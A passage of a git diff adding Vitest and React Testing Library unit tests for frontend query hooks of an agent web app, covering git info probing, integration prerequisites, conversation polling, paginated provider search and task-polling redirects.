+  it("probes git metadata via the bash runner on a local backend when conversation metadata is incomplete", async () => {
+    // Arrange
+    useActiveBackendMock.mockReturnValue(makeBackend("local"));
+    // The consolidated script returns remote URL and branch on separate lines.
+    runCommandMock.mockResolvedValueOnce({
+      exit_code: 0,
+      stdout: "git@github.com:acme/widgets.git\nmain",
+      stderr: "",
+    });
+
+    // Act
+    const { result } = renderHook(() => useLocalGitInfo(), {
+      wrapper: makeWrapper(),
+    });
+
+    // Assert
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(useBashCommandRunnerMock).toHaveBeenCalledWith(
+      conversationWithoutRepo.conversation_url,
+      conversationWithoutRepo.session_api_key,
+      true,
+    );
+    // All git probing is now done in a single bash round-trip.
+    expect(runCommandMock).toHaveBeenCalledTimes(1);
+    expect(runCommandMock).toHaveBeenCalledWith(
+      expect.stringContaining("git remote get-url origin"),
+      "/workspace/project",
+      10,
+    );
+    expect(result.current.data).toMatchObject({
+      repository: "acme/widgets",
+      branch: "main",
+    });
+  });
+});
diff --git a/__tests__/hooks/query/use-manifest-prerequisites.test.tsx b/__tests__/hooks/query/use-manifest-prerequisites.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ef7f296d45f46903f6212a04a467ce0b68acafc9
--- /dev/null
+++ b/__tests__/hooks/query/use-manifest-prerequisites.test.tsx
@@ -0,0 +1,104 @@
+import React from "react";
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { useSetupPrerequisites } from "#/hooks/query/use-manifest-prerequisites";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { createSetupEntry } from "../../manifests/manifest-test-data";
+import type { SetupEntry } from "#/manifests/types";
+
+vi.mock("#/api/settings-service/settings-service.api", () => ({
+  default: { getSettings: vi.fn() },
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => ({
+    backend: { id: "test-backend", kind: "local" },
+    orgId: null,
+  }),
+}));
+
+/** The endpoint the packaged GitHub integration is installed against. */
+const GITHUB_MCP_URL = "https://api.githubcopilot.com/mcp/";
+
+function createWrapper() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+}
+
+function withIntegrations(
+  integrations: SetupEntry["requires"]["integrations"],
+): SetupEntry {
+  return createSetupEntry({ requires: { integrations } });
+}
+
+function renderPrerequisites(entry: SetupEntry) {
+  return renderHook(() => useSetupPrerequisites(entry), {
+    wrapper: createWrapper(),
+  });
+}
+
+describe("useSetupPrerequisites", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    // Nothing connected, unless a test says otherwise.
+    vi.mocked(SettingsService.getSettings).mockResolvedValue({} as never);
+  });
+
+  it("blocks setup while a required integration is not connected", async () => {
+    // Arrange
+    const entry = withIntegrations({
+      github: { message: "Reads pull requests." },
+    });
+
+    // Act
+    const { result } = renderPrerequisites(entry);
+
+    // Assert
+    await waitFor(() => expect(result.current.isLoading).toBe(false));
+    expect(result.current.isBlocked).toBe(true);
+  });
+
+  it("lets setup continue when an unconnected integration is only advisory", async () => {
+    // Arrange
+    const entry = withIntegrations({
+      notion: { message: "Publishes the result.", required: false },
+    });
+
+    // Act
+    const { result } = renderPrerequisites(entry);
+
+    // Assert
+    await waitFor(() => expect(result.current.isLoading).toBe(false));
+    expect({
+      isBlocked: result.current.isBlocked,
+      warned: result.current.warningIntegrations.map(({ id }) => id),
+    }).toEqual({ isBlocked: false, warned: ["notion"] });
+  });
+
+  it("has nothing to block on once the integration is connected", async () => {
+    // Arrange
+    vi.mocked(SettingsService.getSettings).mockResolvedValue({
+      agent_settings: {
+        mcp_config: { mcpServers: { github: { url: GITHUB_MCP_URL } } },
+      },
+    } as never);
+    const entry = withIntegrations({
+      github: { message: "Reads pull requests." },
+    });
+
+    // Act
+    const { result } = renderPrerequisites(entry);
+
+    // Assert
+    await waitFor(() => expect(result.current.isLoading).toBe(false));
+    expect({
+      isBlocked: result.current.isBlocked,
+      blocking: result.current.blockingIntegrations,
+    }).toEqual({ isBlocked: false, blocking: [] });
+  });
+});
diff --git a/__tests__/hooks/query/use-paginated-conversations.test.tsx b/__tests__/hooks/query/use-paginated-conversations.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..518e519bece89f11f1eb0a4b5672f3905c34ec59
--- /dev/null
+++ b/__tests__/hooks/query/use-paginated-conversations.test.tsx
@@ -0,0 +1,101 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { act, renderHook } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { NavigationProvider } from "#/context/navigation-context";
+import { usePaginatedConversations } from "#/hooks/query/use-paginated-conversations";
+import type { AppConversationPage } from "#/api/conversation-service/agent-server-conversation-service.types";
+
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: {
+      searchConversations: vi.fn(),
+    },
+  }),
+);
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => ({
+    backend: { id: "test-backend", kind: "local" },
+    orgId: null,
+  }),
+}));
+
+const emptyPage: AppConversationPage = { items: [], next_page_id: null };
+
+function createWrapper(currentPath: string) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  const navigation = {
+    currentPath,
+    conversationId: null,
+    isNavigating: false,
+    navigate: () => {},
+  };
+  return ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={queryClient}>
+      <NavigationProvider value={navigation}>{children}</NavigationProvider>
+    </QueryClientProvider>
+  );
+}
+
+/** Flush timers and the promise work they unblock inside act. */
+async function flushAsync(ms = 0) {
+  await act(async () => {
+    await vi.advanceTimersByTimeAsync(ms);
+  });
+}
+
+describe("usePaginatedConversations — interval polling", () => {
+  beforeEach(() => {
+    vi.useFakeTimers();
+    vi.mocked(AgentServerConversationService.searchConversations).mockReset();
+    vi.mocked(
+      AgentServerConversationService.searchConversations,
+    ).mockResolvedValue(emptyPage);
+  });
+
+  afterEach(() => {
+    vi.useRealTimers();
+  });
+
+  it("fetches once but does not interval-poll while an automations route is open", async () => {
+    // Arrange & Act — mount the sidebar list on the automations route.
+    renderHook(() => usePaginatedConversations(), {
+      wrapper: createWrapper("/automations"),
+    });
+    await flushAsync();
+    await flushAsync();
+
+    // Assert — the initial fetch happened, and a full poll window later no
+    // further request has fired.
+    expect(
+      AgentServerConversationService.searchConversations,
+    ).toHaveBeenCalledTimes(1);
+    await flushAsync(31_000);
+    expect(
+      AgentServerConversationService.searchConversations,
+    ).toHaveBeenCalledTimes(1);
+  });
+
+  it("keeps the 30s poll on routes outside the automation surface", async () => {
+    // Arrange & Act
+    renderHook(() => usePaginatedConversations(), {
+      wrapper: createWrapper("/"),
+    });
+    await flushAsync();
+    await flushAsync();
+    expect(
+      AgentServerConversationService.searchConversations,
+    ).toHaveBeenCalledTimes(1);
+
+    // Assert — one poll window later the list refreshed.
+    await flushAsync(31_000);
+    expect(
+      AgentServerConversationService.searchConversations,
+    ).toHaveBeenCalledTimes(2);
+  });
+});
diff --git a/__tests__/hooks/query/use-search-providers.test.tsx b/__tests__/hooks/query/use-search-providers.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..543fad13b61da4efba47438dc7fffd9c9df22161
--- /dev/null
+++ b/__tests__/hooks/query/use-search-providers.test.tsx
@@ -0,0 +1,240 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { renderHook, waitFor } from "@testing-library/react";
+import { http, HttpResponse } from "msw";
+import React from "react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  getActiveBackend,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { callCloudProxy } from "#/api/cloud/proxy";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { useSearchProviders } from "#/hooks/query/use-search-providers";
+import { server } from "#/mocks/node";
+
+vi.mock("#/api/cloud/proxy", () => ({
+  callCloudProxy: vi.fn(),
+}));
+
+const wrapper = ({ children }: { children: React.ReactNode }) => {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return <QueryClientProvider client={client}>{children}</QueryClientProvider>;
+};
+
+const cloudBackend: Backend = {
+  id: "cloud-ohe",
+  name: "OpenHands Cloud",
+  host: "https://app.all-hands.dev",
+  apiKey: "cloud-key",
+  kind: "cloud",
+};
+
+describe("useSearchProviders — local backend", () => {
+  it("returns providers that sort past the first 100 entries", async () => {
+    // Arrange: mirror the real local agent-server, whose litellm-derived
+    // provider list is ~150 entries long and sorted alphabetically, putting
+    // "openrouter" at index 101, past any 100-item cap.
+    const providers = [
+      ...Array.from(
+        { length: 101 },
+        (_, i) => `provider_${String(i).padStart(3, "0")}`,
+      ),
+      "openrouter",
+      ...Array.from({ length: 47 }, (_, i) => `zprovider_${i}`),
+    ];
+    server.use(
+      http.get("/api/llm/providers", () => HttpResponse.json({ providers })),
+      http.get("/api/llm/models/verified", () =>
+        HttpResponse.json({ models: { openhands: ["claude-opus-4-7"] } }),
+      ),
+    );
+
+    // Act
+    const { result } = renderHook(() => useSearchProviders(), { wrapper });
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    // Assert: the picker must surface every provider the backend reports.
+    const names = result.current.data?.map((provider) => provider.name) ?? [];
+    expect(names).toContain("openrouter");
+    expect(names).toHaveLength(providers.length + 1); // + the verified "openhands"
+  });
+});
+
+describe("useSearchProviders — cloud backend pagination", () => {
+  beforeEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id, orgId: null });
+    vi.mocked(callCloudProxy).mockReset();
+  });
+
+  afterEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+    vi.mocked(callCloudProxy).mockReset();
+  });
+
+  it("follows next_page_id until exhaustion on the cloud backend so providers past the default page size still appear", async () => {
+    // Arrange: cloud service paginates by default — page 1 holds 100 entries
+    // (the live app.all-hands.dev screenshot showed only the fuzzy match for
+    // "xai" because the real xAI entry sorted past the cut). Page 2 carries
+    // the rest, including "xai" and "openrouter".
+    const allProviders = [
+      ...Array.from(
+        { length: 100 },
+        (_, i) => `provider_${String(i).padStart(3, "0")}`,
+      ),
+      "openrouter",
+      "xai",
+      ...Array.from({ length: 47 }, (_, i) => `zprovider_${i}`),
+    ];
+    const page1Items = allProviders.slice(0, 100).map((name) => ({
+      name,
+      verified: false,
+    }));
+    const page2Items = allProviders.slice(100).map((name) => ({
+      name,
+      verified: false,
+    }));
+
+    vi.mocked(callCloudProxy).mockImplementation((async (req: {
+      path: string;
+      method: string;
+    }) => {
+      expect(req.method).toBe("GET");
+      expect(req.path).toMatch(/^\/api\/v1\/config\/providers\/search/);
+      const url = new URL(`http://x.example.com${req.path}`);
+      const pageId = url.searchParams.get("page_id");
+      if (!pageId) {
+        return { items: page1Items, next_page_id: "page-2" };
+      }
+      if (pageId === "page-2") {
+        return { items: page2Items, next_page_id: null };
+      }
+      throw new Error(`Unexpected page_id ${pageId}`);
+    }) as never);
+
+    // Act
+    const { result } = renderHook(() => useSearchProviders(), { wrapper });
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    // Assert: both "openrouter" (sorts past index 100) and "xai" (the live
+    // bug report) must surface, and the requested page_id must be plumbed
+    // through to the cloud proxy on the second call.
+    const names = result.current.data?.map((provider) => provider.name) ?? [];
+    expect(names).toContain("openrouter");
+    expect(names).toContain("xai");
+    expect(names).toHaveLength(allProviders.length);
+
+    const calls = vi.mocked(callCloudProxy).mock.calls;
+    expect(calls.length).toBeGreaterThanOrEqual(2);
+    const paths = calls.map((c) => (c[0] as { path: string }).path);
+    expect(paths[0]).not.toMatch(/[?&]page_id=/);
+    expect(paths[1]).toMatch(/[?&]page_id=page-2/);
+  });
+
+  it("throws instead of looping forever when the cloud backend returns a repeated next_page_id", async () => {
+    // Arrange: the cloud service is out of our control — a buggy cursor
+    // must not hang the settings page. Force a 2-cycle so the cycle guard
+    // has to fire on the third request.
+    vi.mocked(callCloudProxy).mockImplementation((async () => ({
+      items: [{ name: "stuck-provider", verified: false }],
+      next_page_id: "page-loop",
+    })) as never);
+
+    // Act
+    const { result } = renderHook(() => useSearchProviders(), { wrapper });
+
+    // Assert: the hook surfaces the error instead of hanging. We bound the
+    // wait so a regression that drops the guard would fail the test rather
+    // than stall the suite.
+    await waitFor(() => expect(result.current.isError).toBe(true), {
+      timeout: 2_000,
+    });
+    expect(result.current.error).toBeInstanceOf(Error);
+    expect(String(result.current.error?.message)).toMatch(
+      /Repeated page id|Too many pagination/,
+    );
+  });
+});
+
+describe("useSearchProviders — backend switch re-keying", () => {
+  const cloudBackendA: Backend = {
+    ...cloudBackend,
+    id: "cloud-a",
+  };
+  const cloudBackendB: Backend = {
+    ...cloudBackend,
+    id: "cloud-b",
+  };
+
+  // Wraps with ActiveBackendProvider so `useActiveBackend()` (used in the
+  // query key) follows `setActiveSelection` instead of falling back to the
+  // default local backend. Without the provider, the hook tests cannot
+  // exercise backend-switch re-keying at all.
+  const scopedWrapper = ({ children }: { children: React.ReactNode }) => {
+    const client = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+    return (
+      <QueryClientProvider client={client}>
+        <ActiveBackendProvider>{children}</ActiveBackendProvider>
+      </QueryClientProvider>
+    );
+  };
+
+  beforeEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+    setRegisteredBackends([cloudBackendA, cloudBackendB]);
+    setActiveSelection({ backendId: cloudBackendA.id, orgId: null });
+    vi.mocked(callCloudProxy).mockReset();
+  });
+
+  afterEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+    vi.mocked(callCloudProxy).mockReset();
+  });
+
+  it("refetches instead of serving the previous backend's cached provider list after a switch", async () => {
+    // Backend A surfaces an "a-only" provider; backend B surfaces a
+    // "b-only" provider. If the query key were unscoped, React Query would
+    // serve A's cached page (within staleTime) after switching to B.
+    vi.mocked(callCloudProxy).mockImplementation((async () => {
+      const active = getActiveBackend();
+      const items =
+        active.backend.id === "cloud-a"
+          ? [{ name: "a-only-provider", verified: false }]
+          : [{ name: "b-only-provider", verified: false }];
+      return { items, next_page_id: null };
+    }) as never);
+
+    const { result, rerender } = renderHook(() => useSearchProviders(), {
+      wrapper: scopedWrapper,
+    });
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(result.current.data?.map((p) => p.name) ?? []).toContain(
+      "a-only-provider",
+    );
+
+    // Switch to backend B inside the same session (no full reload).
+    setActiveSelection({ backendId: cloudBackendB.id, orgId: null });
+    rerender();
+
+    await waitFor(() =>
+      expect(result.current.data?.map((p) => p.name) ?? []).toContain(
+        "b-only-provider",
+      ),
+    );
+    expect(result.current.data?.map((p) => p.name) ?? []).not.toContain(
+      "a-only-provider",
+    );
+  });
+});
diff --git a/__tests__/hooks/query/use-sub-conversation-task-polling.test.tsx b/__tests__/hooks/query/use-sub-conversation-task-polling.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..20fda8f8527bc466f0ec8c9f646f35c74e70c9d5
--- /dev/null
+++ b/__tests__/hooks/query/use-sub-conversation-task-polling.test.tsx
@@ -0,0 +1,115 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import React from "react";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { useSubConversationTaskPolling } from "#/hooks/query/use-sub-conversation-task-polling";
+import type { AppConversationStartTask } from "#/api/conversation-service/agent-server-conversation-service.types";
+
+// Mock the underlying service
+vi.mock("#/api/conversation-service/agent-server-conversation-service.api", () => ({
+  default: {
+    getStartTask: vi.fn(),
+  },
+}));
+
+describe("useSubConversationTaskPolling", () => {
+  let queryClient: QueryClient;
+
+  const createWrapper = () => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: {
+          retry: false,
+        },
+      },
+    });
+
+    return function ({ children }: { children: React.ReactNode }) {
+      return (
+        <QueryClientProvider client={queryClient}>
+          {children}
+        </QueryClientProvider>
+      );
+    };
+  };
+
+  const createMockTask = (
+    status: AppConversationStartTask["status"],
+    appConversationId: string | null = null,
+  ): AppConversationStartTask => ({
+    id: "task-123",
+    created_by_user_id: "user-1",
+    status,
+    detail: null,
+    app_conversation_id: appConversationId,
+    agent_server_url: null,
+    request: {},
+    created_at: new Date().toISOString(),
+    updated_at: new Date().toISOString(),
+  });
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  afterEach(() => {
+    queryClient?.clear();
+  });
+
+  it("should return task status when task is READY", async () => {
+    // Arrange
+    const mockTask = createMockTask("READY", "sub-conversation-123");
+    vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue(mockTask);
+
+    // Act
+    const { result } = renderHook(
+      () =>
+        useSubConversationTaskPolling("task-123", "parent-conversation-456"),
+      { wrapper: createWrapper() },
+    );
+
+    // Assert
+    await waitFor(() => {
+      expect(result.current.taskStatus).toBe("READY");
+    });
+    expect(result.current.subConversationId).toBe("sub-conversation-123");
+    expect(AgentServerConversationService.getStartTask).toHaveBeenCalledWith("task-123");
+  });
+
+  it("should not poll when taskId is null", async () => {
+    // Arrange
+    vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue(null);
+
+    // Act
+    const { result } = renderHook(
+      () => useSubConversationTaskPolling(null, "parent-conversation-456"),
+      { wrapper: createWrapper() },
+    );
+
+    // Assert - wait a bit to ensure no calls are made
+    await new Promise((resolve) => {
+      setTimeout(resolve, 100);
+    });
+    expect(AgentServerConversationService.getStartTask).not.toHaveBeenCalled();
+    expect(result.current.taskStatus).toBeUndefined();
+  });
+
+  it("should not poll when parentConversationId is null", async () => {
+    // Arrange
+    vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue(null);
+
+    // Act
+    const { result } = renderHook(
+      () => useSubConversationTaskPolling("task-123", null),
+      { wrapper: createWrapper() },
+    );
+
+    // Assert - wait a bit to ensure no calls are made
+    await new Promise((resolve) => {
+      setTimeout(resolve, 100);
+    });
+    expect(AgentServerConversationService.getStartTask).not.toHaveBeenCalled();
+    expect(result.current.taskStatus).toBeUndefined();
+  });
+});
diff --git a/__tests__/hooks/query/use-task-polling.test.tsx b/__tests__/hooks/query/use-task-polling.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..1e4a1aa4b07ece31b88849e46dc6c325ebe7d359
--- /dev/null
+++ b/__tests__/hooks/query/use-task-polling.test.tsx
@@ -0,0 +1,237 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { renderHook, waitFor } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { AppConversationStartTask } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { NavigationProvider } from "#/context/navigation-context";
+import {
+  useTaskPolling,
+  useTaskPollingController,
+} from "#/hooks/query/use-task-polling";
+import { trackCloudConversationReady } from "#/services/cloud-funnel-analytics";
+import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store";
+import {
+  consumePendingTaskDraft,
+  getConversationState,
+  setPendingTaskDraft,
+} from "#/utils/conversation-local-storage";
+import { resetPendingTaskMessageLinkState } from "#/utils/pending-task-message-link";
+import { getStoredConversationMetadata } from "#/api/conversation-metadata-store";
+
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: {
+      getStartTask: vi.fn(),
+    },
+  }),
+);
+vi.mock("#/services/cloud-funnel-analytics", () => ({
+  trackCloudConversationReady: vi.fn(),
+}));
+
+const readyTask: AppConversationStartTask = {
+  id: "123",
+  created_by_user_id: "user-1",
+  status: "READY",
+  detail: null,
+  app_conversation_id: "conversation-1",
+  agent_server_url: null,
+  request: {},
+  created_at: new Date().toISOString(),
+  updated_at: new Date().toISOString(),
+};
+
+describe("useTaskPolling", () => {
+  let queryClient: QueryClient;
+  const navigate = vi.fn();
+
+  const createWrapper = () => {
+    queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+
+    return function Wrapper({ children }: { children: React.ReactNode }) {
+      return (
+        <QueryClientProvider client={queryClient}>
+          <NavigationProvider
+            value={{
+              currentPath: "/conversations/task-123",
+              conversationId: "task-123",
+              isNavigating: false,
+              navigate,
+            }}
+          >
+            {children}
+          </NavigationProvider>
+        </QueryClientProvider>
+      );
+    };
+  };
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+    localStorage.clear();
+    resetPendingTaskMessageLinkState();
+    useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+  });
+
+  afterEach(() => {
+    queryClient?.clear();
+    localStorage.clear();
+  });
+
+  it("moves pending task drafts onto the real conversation before redirecting", async () => {
+    vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue(
+      readyTask,
+    );
+    setPendingTaskDraft("123", "Create this automation draft");
+
+    const { result } = renderHook(() => useTaskPollingController(), {
+      wrapper: createWrapper(),
+    });
+
+    await waitFor(() => expect(result.current.taskStatus).toBe("READY"));
+    await waitFor(() => {
+      expect(navigate).toHaveBeenCalledWith(
+        "/conversations/conversation-1?backend=default-local",
+        {
+          replace: true,
+        },
+      );
+    });
+
+    expect(getConversationState("conversation-1").draftMessage).toBe(
+      "Create this automation draft",
+    );
+    expect(consumePendingTaskDraft("123")).toBeNull();
+    expect(AgentServerConversationService.getStartTask).toHaveBeenCalledWith(
+      "123",
+    );
+  });
+
+  it("stores cloud task plugin coordinates on the real conversation", async () => {
+    vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue({
+      ...readyTask,
+      request: {
+        selected_repository: "OpenHands/agent-canvas",
+        selected_branch: "main",
+        git_provider: "github",
+        plugins: [
+          {
+            source: "github:OpenHands/extensions",
+            ref: "v1",
+            repo_path: "plugins/weather",
+            parameters: { apiKey: "secret" },
+          },
+        ],
+      },
+    });
+
+    renderHook(() => useTaskPollingController(), { wrapper: createWrapper() });
+
+    await waitFor(() => {
+      expect(navigate).toHaveBeenCalledWith(
+        "/conversations/conversation-1?backend=default-local",
+        {
+          replace: true,
+        },
+      );
+    });
+    expect(getStoredConversationMetadata("conversation-1")).toEqual({
+      selected_repository: "OpenHands/agent-canvas",
+      selected_branch: "main",
+      git_provider: "github",
+      plugins: [
+        {
+          source: "github:OpenHands/extensions",
+          ref: "v1",
+          repo_path: "plugins/weather",
+        },
+      ],
+    });
+  });
+
+  it("reassigns optimistic pending messages on the real conversation route", async () => {
+    vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue(
+      readyTask,
+    );
+    useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+      conversationId: "task-123",
+      text: "hello from home",
+    });
+
+    const createWrapperForConversation = (conversationId: string) => {
+      queryClient = new QueryClient({
+        defaultOptions: { queries: { retry: false } },
+      });
+
+      return function Wrapper({ children }: { children: React.ReactNode }) {
+        return (
+          <QueryClientProvider client={queryClient}>
+            <NavigationProvider
+              value={{
+                currentPath: `/conversations/${conversationId}`,
+                conversationId,
+                isNavigating: false,
+                navigate,
+              }}
+            >
+              {children}
+            </NavigationProvider>
+          </QueryClientProvider>
+        );
+      };
+    };
+
+    renderHook(() => useTaskPollingController(), {
+      wrapper: createWrapperForConversation("task-123"),
+    });
+
+    await waitFor(() => {
+      expect(navigate).toHaveBeenCalledWith(
+        "/conversations/conversation-1?backend=default-local",
+        {
+          replace: true,
+        },
+      );
+    });
+
+    renderHook(() => useTaskPollingController(), {
+      wrapper: createWrapperForConversation("conversation-1"),
+    });
+
+    await waitFor(() => {
+      const pending = useOptimisticUserMessageStore.getState().pendingMessages;
+      expect(pending).toHaveLength(1);
+      expect(pending[0].conversationId).toBe("conversation-1");
+      expect(pending[0].text).toBe("hello from home");
+    });
+  });
+
+  it("handles a ready task once when multiple components consume polling state", async () => {
+    vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue(
+      readyTask,
+    );
+
+    const { result } = renderHook(
+      () => {
+        const controller = useTaskPollingController();
+        useTaskPolling();
+        useTaskPolling();
+        return controller;
+      },
+      { wrapper: createWrapper() },
+    );
+
+    await waitFor(() => expect(result.current.taskStatus).toBe("READY"));
+    await waitFor(() => expect(navigate).toHaveBeenCalledTimes(1));
+
+    expect(trackCloudConversationReady).toHaveBeenCalledOnce();
+    expect(trackCloudConversationReady).toHaveBeenCalledWith(
+      "123",
+      "conversation-1",
+    );
+  });
+});
diff --git a/__tests__/hooks/query/use-unified-git-commits.test.tsx b/__tests__/hooks/query/use-unified-git-commits.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..064133b8dc2e4d4708bf3033c5849b93e246f139
--- /dev/null
+++ b/__tests__/hooks/query/use-unified-git-commits.test.tsx
@@ -0,0 +1,83 @@
+import React from "react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import { useUnifiedGitCommits } from "#/hooks/query/use-unified-git-commits";
+import AgentServerGitService from "#/api/git-service/agent-server-git-service.api";
+
+const conversation = {
+  conversation_url: "http://localhost:18000/api/conversations/c1",
+  session_api_key: "test-key",
+  workspace: { working_dir: "/workspace/project" },
+};
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useConversationId: () => ({ conversationId: "c1" }),
+}));
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({ data: conversation }),
+}));
+vi.mock("#/hooks/use-runtime-is-ready", () => ({
+  useRuntimeIsReady: () => true,
+}));
+
+function makeWrapper() {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={client}>{children}</QueryClientProvider>
+  );
+}
+
+describe("useUnifiedGitCommits", () => {
+  const getGitCommitsSpy = vi.spyOn(AgentServerGitService, "getGitCommits");
+
+  beforeEach(() => {
+    getGitCommitsSpy.mockReset();
+  });
+
+  it("exposes the service's commit page for the active conversation", async () => {
+    // Arrange
+    const commit = {
+      sha: "a".repeat(40),
+      shortSha: "aaaaaaa",
+      subject: "add logging",
+      author: "Agent",
+      timestamp: "2026-07-10T12:00:00+07:00",
+    };
+    getGitCommitsSpy.mockResolvedValue({ commits: [commit], hasMore: true });
+
+    // Act
+    const { result } = renderHook(() => useUnifiedGitCommits(), {
+      wrapper: makeWrapper(),
+    });
+
+    // Assert
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(getGitCommitsSpy).toHaveBeenCalledWith(
+      conversation.conversation_url,
+      conversation.session_api_key,
+      "/workspace/project",
+      50,
+    );
+    expect(result.current.commits).toEqual([commit]);
+    expect(result.current.hasMore).toBe(true);
+    expect(result.current.isUnsupported).toBe(false);
+  });
+
+  it("marks the feature unsupported when the service resolves null (old server)", async () => {
+    // Arrange
+    getGitCommitsSpy.mockResolvedValue(null);
+
+    // Act
+    const { result } = renderHook(() => useUnifiedGitCommits(), {
+      wrapper: makeWrapper(),
+    });
+
+    // Assert
+    await waitFor(() => expect(result.current.isUnsupported).toBe(true));
+    expect(result.current.commits).toEqual([]);
+  });
+});
diff --git a/__tests__/hooks/query/use-user-conversation.test.tsx b/__tests__/hooks/query/use-user-conversation.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..9e8399692fd346c7ba4994bc712ab52eb5f895a2
--- /dev/null
+++ b/__tests__/hooks/query/use-user-conversation.test.tsx
@@ -0,0 +1,144 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { useUserConversation } from "#/hooks/query/use-user-conversation";
+import type { Backend } from "#/api/backend-registry/types";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+
+// Mock the underlying service the hook depends on (not the hook itself).
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: { batchGetAppConversations: vi.fn() },
+  }),
+);
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local 1",
+  host: "http://localhost:8000",
+  apiKey: "session-key",
+  kind: "local",
+};
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-key",
+  kind: "cloud",
+};
+
+const CLOUD_CONVERSATION_ID = "conv-cloud";
+
+function makeConversation(id: string): AppConversation {
+  return {
+    id,
+    created_by_user_id: null,
+    selected_repository: null,
+    selected_branch: null,
+    git_provider: null,
+    title: "Test",
+    trigger: null,
+    pr_number: [],
+    llm_model: null,
+    metrics: null,
+    created_at: "2024-01-01T00:00:00Z",
+    updated_at: "2024-01-01T00:00:00Z",
+    execution_status: null,
+    sandbox_status: null,
+    conversation_url: "https://sandbox.example.com/api",
+    session_api_key: null,
+    sandbox_id: null,
+    sub_conversation_ids: [],
+  };
+}
+
+function makeWrapper() {
